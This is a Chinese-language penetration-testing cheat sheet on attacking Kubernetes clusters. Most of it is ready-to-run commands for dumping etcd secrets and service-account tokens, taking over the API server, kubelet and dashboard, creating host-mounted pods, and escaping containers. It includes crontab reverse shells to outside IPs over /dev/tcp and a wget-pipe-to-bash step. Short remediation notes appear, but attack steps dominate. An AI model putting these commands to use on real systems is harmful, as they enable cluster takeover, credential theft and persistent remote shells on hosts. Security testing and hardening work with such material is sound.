K8s攻防

image-20240522224209921

image-20240530150415832

image-20240530171211546

img

Kubernetes(k8s)攻击面整理

k8s集群主要由以下组件组成:

1)kube-apiserver:k8s master节点api服务器,以REST API服务形式提供接⼝,作为整个k8s的控制⼊⼝。

2)kube-controller-manager:执⾏整个k8s的后台任务,包括节点状态状况、Pod个数、Pods和Service的关联等。

3)kube-scheduler:接收来⾃kube-apiserver创建Pods任务,通过收集的集群中所有node节点的资源负载情况分配到某个节点。

4)etcd:k8s的键值对形式数据库,保存了k8s所有集群数据的后台数据库

5)kube-proxy:运⾏在每个node节点上,负责pod⽹络代理。定时从etcd获取到service信息来做相应的策略。

6)kubelet:运⾏在每个node节点上,作为agent,接收分配该节点的pods任务及管理容器,周期性获取容器状态,反馈给kube-apiserver

漏洞点主要是在上面提到的重点组件内:

kube-apiserver、kubelet、etcd、dashboard、docker、kube-proxy

组件 常用端口 脆弱点 备注
kube-apiserver 6443、8080 未授权访问 节点API服务器
kubelet 10250(https)、10255 未授权访问
etcd 2379 未授权访问 数据库
docker 2375 未授权访问
dashboard 30000+ 认证绕过CVE-2018-18264未授权 k8s的Web管理接口:未做鉴权,直接操作集群
kube-proxy 配置错误
cadvisor(k8s的监控) 4194、8080 未授权

常规利用

etcd - 未授权访问

etcd是⼀个key-value数据库,为k8s集群提供底层数据存储。

未授权访问:数据库敏感内容若无加密处理,会被攻击者加以利用,甚至控制整个集群

修复建议:通过 –client-cert-auth 开启证书校验,开启访问控制

#检测利用

http://IP:2379/version
http://IP:2379/v2/keys         #有v2和v3两个版本
http://172.29.17.36:2379/v2/keys/?recursive=true

etcdctl 工具地址

ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only       #遍历所有的key

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only         # --insecure-transport --insecure-skip-tls-verify 忽略证书校验

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort |

uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379

get {} >> output.data && echo "" >> output.data' 

#通过v3 API来dump数据库到 output.data(输出格式:一行key+一行value)

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only|sort|uniq|

grep secret    #   查找secret相关keys

# 通过 get /registry/secrets/default/admin-token-557l2 拿到 token

dump下etcd,定位 apiserver 和 所有证书; 检索关键字 advertiseAddress | kubeAPIConfig 定位 apiserver的地址

使用curl 访问api server,确认token是否正确可用;

curl --header "Authorization: Bearer [TOKEN]" -X GET https://API_SERVER:6443/api -k

token错误,返回401

{ "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "Unauthorized", "reason":"Unauthorized", "code": 401}

token正确,返回

{ "kind": "APIVersions", "versions": [ "v1" ],"serverAddressByClientCIDRs": [ { "clientCIDR": "xxxx", "serverAddress":"xxxx" } ]}

方式一:执⾏kubectl config命令,来⽣成简单的临时配置⽂件

touch test_config

kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKEN

kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://IP:6443/  --insecure-skip-tls-verify

kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=hacker

kubectl --kubeconfig=./test_config config use-context test_context       # 生成临时配置文件

通过该配置文件访问api server,达到控制k8s集群的目标:

brew install kubectl    #  mac安装kubectl

kubectl --kubeconfig=./test_config get nodes -A      #管控集群

扩大权限,使用kubectl 导出所有secret,利用优于etcd

kubectl --kubeconfig=./test_config get secret -A -o custom-columns=:.metadata.name,:.metadata.namespace --no-headers | xargs -n 2 sh -c '(kubectl --kubeconfig=./test_config get secret -n $3 -o yaml $2; echo "") >> all_secrets_yaml.txt' -- {}

方式二:找到token配置:

ETCDCTL_API=3 ./etcdctl --endpoints=http://0.0.0.0:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole

获取token:

ETCDCTL_API=3 ./etcdctl --endpoints=http://0.0.0.0:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-n6mll

通过该token可以获取操作k8s集群的权限

使用token获取nodes节点信息

kubectl --insecure-skip-tls-verify -s https://0.0.0.0:6443 --token="" -n kube-system get nodes

Kube apiserver - 未授权访问

k8s api server 存在未授权访问,攻击者可通过kubectl创建恶意pod或控制已有pod,后续可逃逸至宿主机

修复建议:使用安全端口替代8080端口,并使用 –tls-cert-file参数

直接访问:http://ip:port/,回显接口信息

访问 http://ip:8080/api/v1/namespaces/kube-system/secrets/ 拿到token

创建kubectl配置⽂件,指定⽬标地址和拿到的token等

kubectl--kubeconfig=./test_config get pod -n kube-system -o wide
# 通过kubectl使⽤kube-system的token获取pod列表。之后可进⼀步创建pod或控制已有pod进⾏命令执⾏等操作
curl –insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://IP:10250/exec/namespace/podID/containername?command=touch&command=/tmp/test&input=1&output=1&tty=1"

kubectl -s ip:8080 get node # 获取节点

kubectl -s 127.0.0.1:8080 get pods # 获取Pods

kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash   #执行命令

PS:较高版本的k8s,需要获取service-account-token,通过访问api来获取token

/api/v1/namespaces/kube-system/secrets/

获取宿主机权限-通过k8s dashboard,创建特权Pods

echo -e "* /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1" >> /mnt/etc/crontab
# 然后通过dashboard创建pod并挂在宿主机的任意⽬录;然后写crontab获取shell

Kubelet - 未授权访问

k8s node对外开启10250(kubelet API)和10255端⼝(readonly API),攻击者可创建恶意pod或控制已有pod,后续可尝试逃逸⾄宿主机

修复建议

1.readOnlyPort=0:关闭只读端⼝(默认 10255);

2.authentication.anonymous.enabled:设置为 false,不允许匿名访问 10250 端⼝;

3.authentication.x509.clientCAFile:指定签名客户端证书的 CA 证书,开启 HTTP 证书认证;authentication.webhook.enabled=true:开启 HTTPs bearer token 认证

curl http://ip:10250/pods

使用kubeletctl 批量获取pod等信息:

./kubeletctl pods -s ip -p port

可使⽤kubeletctl在特权pod内执⾏命令,挂载宿主机根⽬录,通过向宿主机批量写⼊ssh公钥逃逸到宿主机

Dashboard

Dashboard未授权访问

漏洞描述 K8s Dashboard默认是存在鉴权机制的,用户可以通过kubeconfig或者Token两种方式登录,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录直接进入Dashboard,而且有时候可以直接访问K8s DashBoard,在这种情况下攻击者可以通过部署恶意Pod实现控制节点的目的

漏洞复现 K8s DashBoard未授权访问:

宿主Shell

Step 1:通过WEB UI界面创建一个pod,并将本地根目录挂载到pod的/mnt目录中

apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

Step 2:之后可以看到创建的myapp Pod

Step 3:之后进入挂载的/mnt目录中,就是master节点的对应目录了

Step 4:之后写计划任务

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.17.157/4444 0>&1\n" >> /mnt/etc/crontab

k8s dashboard认证绕过(CVE-2018-18264)

攻击者可跳过登录,直接进⼊dashboard web⻚获取pod和job等状态,并可创建恶意pod,尝试逃逸⾄宿主机

修复建议:关闭dashboard的–enable-skip-login

登录页面选择跳过登录 -> 可通过dashboard获取pod、node和job等状态

若业务配置错误或为了⽅便给 Kubernetes dashboard 绑定 cluster-admin等⻆⾊,攻击者可直接在界⾯上创建特权 pod 进⾏容器逃逸

Dashboard Config登录

利用场景

  • 项目托管不当导致kubernet config文件泄露,例如:Github、Gitlab等,之后接管Kubernet dashboard
  • 在获取到Node节点权限的情况下通过kubeconfig来接管Kubernet dashboard

基础知识

用户凭证保存在kubeconfig文件中,kubectl通过以下顺序来找到kubeconfig文件

  • 如果提供了–kubeconfig参数,就使用提供的kubeconfig文件
  • 如果未提供–kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
  • 如果以上两种情况都没有,那么kubectl就使用默认的kubeconfig文件$HOME/.kube/config

利用流程

Step 1:获取namespace

kubectl get namespace

Step 2:创建dashboard管理用户

kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard

Step 3:绑定用户为集群管理用户

kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin

Step 4:获取token(后续可以使用token登录)

kubectl get sa,secrets -n kubernetes-dashboard

kubectl describe secret -n kubernetes-dashboard dashboard-admin-token-kqsll

Step 5:生成kubeconfig文件

DASH_TOCKEN=$(kubectl get secret -n kubernetes-dashboard dashboard-admin-token-kqsll -o jsonpath={.data.token}|base64 -d)
kubectl config set-cluster kubernetes --server=192.168.17.144:30001 --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-credentials dashboard-admin --token=$DASH_TOCKEN --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-context dashboard-admin@kubernetes --cluster=kubernetes --user=dashboard-admin --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config use-context dashboard-admin@kubernetes --kubeconfig=/home/r00t/dashbord-admin.conf

Step 6:赋予读写执行权限

chmod 777 dashboard-admin.conf

Step 7:使用生成的dashbord-admin.conf登录dashboard

image-20240530215713435

docker - 未授权访问

攻击者可利用对外暴露的docker remote api,执行docker命令

修复建议:⽣成证书进⾏api校验:docker -d --tlsverify --tlscacert=ca.pem--tlscert=server-cert.pem--tlskey=server-key.pem-H=tcp://x.x.x.x:2375-H unix:///var/run/dock

curl http://ip:2376/version #可获取docker版本等信息

通过调用docker未授权接口,创建特权容器,挂载宿主机根目录;后续可通过写入ssh公钥和crontab等,完成逃逸和持久化

kube proxy 配置错误

攻击者可通过kube-proxy代理来未授权访问本地kube-apiserver组件,创建恶意pod或控制已有pod,后续可尝试逃逸⾄宿主机

修复建议:kube-proxy禁⽌对外直接使⽤–address=0.0.0.0参数

该漏洞⼀般为业务或开发为了⽅便,通过kubectl proxy –address=0.0.0.0命令,将kube-apiserver暴露到0.0.0.0,且默认未授权之后请求8001端⼝即可未授权访问kube-apiserver;后续可按照kube-apiserver未授权进行处理。

容器内利用

判断是否为容器环境

首先对于 RT 而言,需要先判断当前环境是不是容器环境,可以直接使用下面的命令去判断

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

如果返回 Is Docker,说明当前是 Docker 容器环境,反之亦然。

信息搜集

env
env | grep KUBERNETES

容器检测
注意下面的.dockerenv哦:
cd / | ls -al

内核版本
需要下载kubectl到pod中,之后通过执行以下命令来获取node节点的内核版本信息
kubectl get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.nodeInfo.kernelVersion}{"\n"}{end}'

token

获取token

etcdctl --endpoints=https://127.0.0.1:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole
cat /var/run/secrets/kuberenetes.io/serviceaccount/token

利用token访问api server

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443 --token="" -n kube-system get pods

Secret

K8s Secrets用于存储敏感数据,从Secrets中获取的AK及通信凭证可用户后续渗透中从外部或云产品API窃取信息:

#命令格式
./cdk run k8s-secret-dump (auto|<service-account-token-path>)

#使用实例
./cdk run k8s-secret-dump auto

安全策略

对于已经获取了kubeconfig或sa账号权限,进而想要创建特殊配置的容器,但是受到了K8s Pod Security Policies的限制时可以使用这个Exploit获取Pod Security Policies的规则信息

#命令格式
./cdk run k8s-psp-dump (auto|<service-account-token-path>

#使用实例
./cdk run k8s-psp-dump auto
2021/03/24 22:15:58 getting K8s api-server API addr.
    Find K8s api-server in ENV: https://ip:8443
2021/03/24 22:15:58 trying to dump K8s Pod Security Policies with local service-account: token
2021/03/24 22:15:58 requesting  /apis/policy/v1beta1/podsecuritypolicies
2021/03/24 22:15:58 dump Pod Security Policies success, saved in:  k8s_pod_security_policies.json
2021/03/24 22:15:58 requesting  /api/v1/namespaces/default/pods
2021/03/24 22:15:58 K8S Pod Security Policies rule list:
2021/03/24 22:15:58 rule { securityContext.hostPID: true } is not allowed.
2021/03/24 22:15:58 rule { securityContext.hostIPC: true } is not allowed.
2021/03/24 22:15:58 rule { volumes[0].hostPath.pathPrefix: \"/proc\" } is not allowed.
2021/03/24 22:15:58 rule { volumes[1].hostPath.pathPrefix: \"/dev\" } is not allowed.
2021/03/24 22:15:58 rule { volumes[2].hostPath.pathPrefix: \"/sys\" } is not allowed.
2021/03/24 22:15:58 rule { volumes[3].hostPath.pathPrefix: \"/\" } is not allowed.
2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: \"SYS_ADMIN\" } is not allowed.
2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: \"SYS_PTRACE\" } is not allowed.

容器逃逸

在开始之前对于容器逃逸主要有以下三种方法:

  1. 不安全的配置
  2. 相关程序漏洞
  3. 内核漏洞

0x01 不安全的配置

1、特权模式

执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

如果返回 Not privileged mode 则说明当前不是特权模式

2、挂载 Docker Socket

执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

如果返回 Docker Socket is not mounted. 则说明没有挂载

3、挂载 procfs

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

如果返回 Procfs is not mounted. 则说明没有挂载

4、挂载宿主机根目录

执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."

如果返回 Root directory is not mounted. 则说明没有挂载

5、Docker remote api 未授权访问

执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问

0x02 内核漏洞

1、CVE-2016-5195 DirtyCow 逃逸

执行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。

2、CVE-2020-14386

执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。

3、CVE-2022-0847 DirtyPipe 逃逸

执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。

0x03 容器逃逸检测脚本

项目地址:https://github.com/teamssix/container-escape-check

直接在容器中执行以下命令即可

wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O -| bash

不过大多容器可能没有 wget 命令,因此可以将脚本先克隆到本地,然后上传到容器再执行

git clone https://github.com/teamssix/container-escape-check.git
cd container-escape-check
chmod +x container-escape-check.sh
./container-escape-check.sh

工具

kubectl

https://cloud.tencent.com/developer/article/1638810

读取pods列表 kubectl -s "http://ip:port" get pods
dump集群全部信息 kubectl -s "http://ip.port" cluster-info dump

etcdctl

读取键名 etcdctl --endpoints=ip:port get / --prefix --keys-only --limit 50
保存快照 etcdctl --endpoints=ip:port snapshot save snapshot.db  

常见指令总结

kubectl get pods   #查询Pod
kubectl get pods -n namespace   #查询指定命名空间的Pod
kubectl get pods --all-namespaces   #查询所有命名空间的Pod
kubectl describe pod pod-name   #查询Pod的详细信息
kubectl get serviceaccount   #查询服务账户详情
kubectl create serviceaccount account-name   #创建服务账户
kubectl config view 打印出kubeconfig   #配置内容
kubectl get rolebinding -n namespace   #查看rbac权限设置
kubectl describe role role-name -n namespace   #查看角色所绑定的规则
kubectl exec -it pod-name -c container-name main-app -- /bin/bash   #进入指定Pod的容器内部
kubectl cp pod-name:container-path local-path   #从容器内复制文件到本地
kubectl get deployment   #查询Deployment的信息
kubectl scale deployment deployment-name --replicas=3   #扩容/缩容Deployment的Pod数量
kubectl rollout restart deployment deployment-name   #重启Deployment管理的所有Pod
kubectl apply -f file.yaml   #应用YAML配置文件

查看 进入容器

kubectl get namespace//获得所有命名空间
kubectl get pod --all-namespaces -o wide//获得命名空间下的所有容器
 
通过kubectl get pods查询,然后通过下面命令进入
kubectl exec -it nas-all-0 /bin/bash
 
//进入命名空间下的容器,application是命名空间,psqls-0是容器
kubectl exec -it -n application psqls-0 /bin/bash
 
//拷贝内容内文件,拷贝出来
kubectl cp -n application psqls-0:/var/lib/postgresql/data/pg_wal /home
//拷贝进去
kubectl cp /home/dades/pg_wal -n application psqls-0:/var/lib/postgresql/data/pg_wal

文件传输

https://nj.transwarp.cn:8180/?p=493

1. kubectl cp
 使用前提:Pod 中对应的 container 中安装了 tar 命令,该方式不用进入到 Pod 内
 注意:有的TOS 里该命令貌似是不能用的
首先列出 Pod,获取 Pod 的 Name, mycentos 为 pod name 中的关键字
# kubectl get pods -o wide | grep -i mycentos
NAME                        READY   STATUS    RESTARTS   AGE
mycentos-7b59b5b755-8rbgc   1/1     Running   0          5h20m
mycentos-7b59b5b755-vm6ld   1/1     Running   1          5h31m
宿主机 –> Pod
  将宿主机 /tmp/test_pod.txt 拷贝到 mycentos-7b59b5b755-8rbgc 对应的第一个容器中的 /root 目录下,拷贝目录也是一样的。default 为 namespace
# kubectl cp /tmp/test_pod.txt -n namespace mycentos-7b59b5b755-8rbgc:/tmp -c nginx

Pod –> 宿主机
  将 mycentos-7b59b5b755-8rbgc 中 /root/from_pod.txt 文件拷贝到宿主机 /tmp 目录下,并命名为 from_pod.new
# kubectl cp default/mycentos-7b59b5b755-8rbgc:/root/from_pod.txt  /tmp/from_pod.new
  将 mycentos-7b59b5b755-8rbgc 中 /root/pod_dir 目录下的文件拷贝到宿主机 /tmp 目录下
# kubectl cp default/mycentos-7b59b5b755-8rbgc:/root/pod_dir /tmp
 Tips:
  Pod –> 宿主机时,拷贝文件需要指定目标文件名;拷贝目录可以不指定


2. scp
 使用前提:宿主机和 Pod 的 container 中都安装了 scp 命令,需要宿主机的密码,该方式需要进入到 Pod 内
 执行如下命令进入 pod,mycentos-7b59b5b755-8rbgc 替换为相应 pod name。
# kubectl exec -it  mycentos-7b59b5b755-8rbgc /bin/bash
宿主机 –> Pod
  将宿主机 /tmp/test_pod.txt 拷贝到 mycentos-7b59b5b755-8rbgc 对应的第一个容器中 /root 目录下,宿主机 ip 为 172.22.202.69,用户 root
# scp -rv root@172.22.202.69:/tmp/test_pod.txt /root 
Pod –> 宿主机
  将 mycentos-7b59b5b755-8rbgc 中 /root/from_pod.txt 文件拷贝到宿主机 /tmp 目录下,宿主机 ip 为 172.22.202.69,用户 root
# scp -rv /root/from_pod.txt root@172.22.202.69:/tmp
 Tips: 安装 scp 命令 yum install -y openssh-clients


3. docker cp
  获取 pod 名为 mycentos-7b59b5b755-8rbgc 对应 container 的 id
# kubectl describe pod/mycentos-7b59b5b755-8rbgc | grep -iE "\s.*container id.*|Node:\s*.*" -B 2 -A 2
Namespace:      default
Priority:       0
Node:           172.22.202.70/172.22.202.70
Start Time:     Wed, 07 Aug 2019 12:58:17 +0800
Labels:         pod-template-hash=7b59b5b755
--
Containers:
  mycentos:
    Container ID:  docker://5c73edb95237ab7e4af2d85aad9674899492134e8addc20dfc05e2a598acd7eb
    Image:         centos
    Image ID:      docker-pullable://centos@sha256:a799dd8a2ded4a83484bbae769d97655392b3f86533ceb7dd96bbac929809f3c
  从上面的结果可以得知该 pod 对应的 container 运行在 172.22.202.70 节点上,相应的 container id 为:5c73edb95237ab7e4af2d85aad9674899492134e8addc20dfc05e2a598acd7eb
宿主机 –> Pod
  到 container 运行的 node 172.22.202.70 上,将 /tmp/test_pod.txt 拷贝到容器里 /root 目录下
# docker cp /tmp/test_pod.txt 5c73edb95237ab7e4af2d85aad9674899492134e8addc20dfc05e2a598acd7eb:/root
Pod –> 宿主机
  到 container 运行的 node 172.22.202.70 上,将容器内 /root/from_pod.txt 拷贝到本地 /tmp 目录下
# docker cp 5c73edb95237ab7e4af2d85aad9674899492134e8addc20dfc05e2a598acd7eb:/root/from_pod.txt /tmp


4. lftp
 使用前提:Pod 内容器安装了 lftp 工具,本地宿主机安装并启动了 vsftpd,该方式需要进入到 Pod 内
 执行如下命令进入 pod,mycentos-7b59b5b755-8rbgc 替换为相应 pod name。
# kubectl exec -it  mycentos-7b59b5b755-8rbgc /bin/bash
 lftp 连接到 172.22.202.69 的 21 端口,用 root 用户,输入密码后即可进行文件传输
# lftp 172.22.202.69 -p 21 -u root
宿主机 –> Pod
 lftp 内命令传输示例,将本地 /tmp/pod_dir 目录下的所有文件传输到 Pod 的 /root 目录下
# mget /tmp/pod_dir/* -O /root 
Pod –> 宿主机
 将 Pod 的 /root 目录下的 from_pod.txt 文件传输到本地 /tmp 目录下
# mput /root/from_pod.txt -O /tmp 
 Tips:
  vsftpd 的安装: yum install -y vsftpd && sleep 2 && systemctl start vsftpd && sleep 2 && systemctl enable vsftpd && systemctl status vsftpd
  lftp 的安装: yum install -y lftp


5. cp
 参考第 3. 部分先获取 Pod 对应的 container id,以下以容器 5c73edb95237ab7e4af2d85aad9674899492134e8addc20dfc05e2a598acd7eb 举例。
 找到 5c73edb95237ab7e4af2d85aad9674899492134e8addc20dfc05e2a598acd7eb 容器在本地的读写层目录
# docker inspect -f '{{.GraphDriver.Data.UpperDir}}' 5c73edb95237ab7e4af2d85aad9674899492134e8addc20dfc05e2a598acd7eb
 上述执行结果为:/var/lib/docker/overlay2/e57f783cce10c2d14ea48b6194f3796f361fa9e045e633038b604c32ad9fce1a/diff
# ls -lrt /var/lib/docker/overlay2/e57f783cce10c2d14ea48b6194f3796f361fa9e045e633038b604c32ad9fce1a/diff
total 8
drwxr-xr-x 8 root root   75 Mar  6 01:34 usr
drwxr-xr-x 6 root root   48 Mar  6 01:34 var
drwxr-xr-x 2 root root   28 Aug  7 20:43 dev
drwxr-xr-x 4 root root 4096 Aug  7 21:05 etc
drwxrwxrwt 2 root root    6 Aug  7 21:05 tmp
drwxr-xr-x 3 root root   20 Aug  7 21:05 run
dr-xr-x--- 5 root root 4096 Aug  7 22:40 root
宿主机 –> Pod
  直接在本地操作,将 /tmp/test_pod.txt 文件拷贝到 Pod 的 /root 目录,然后在 Pod 的 /root 目录下便可看到该文件
# cp /tmp/test_pod.txt /var/lib/docker/overlay2/e57f783cce10c2d14ea48b6194f3796f361fa9e045e633038b604c32ad9fce1a/diff/root/


 总结:其实 Pod 也可以当作是另一个服务器,所以 Linux 中服务器间传递文件的一些工具如 ftp 等,理论上来说都可以用来实现本地主机和 Pod 内部文件传输。
0%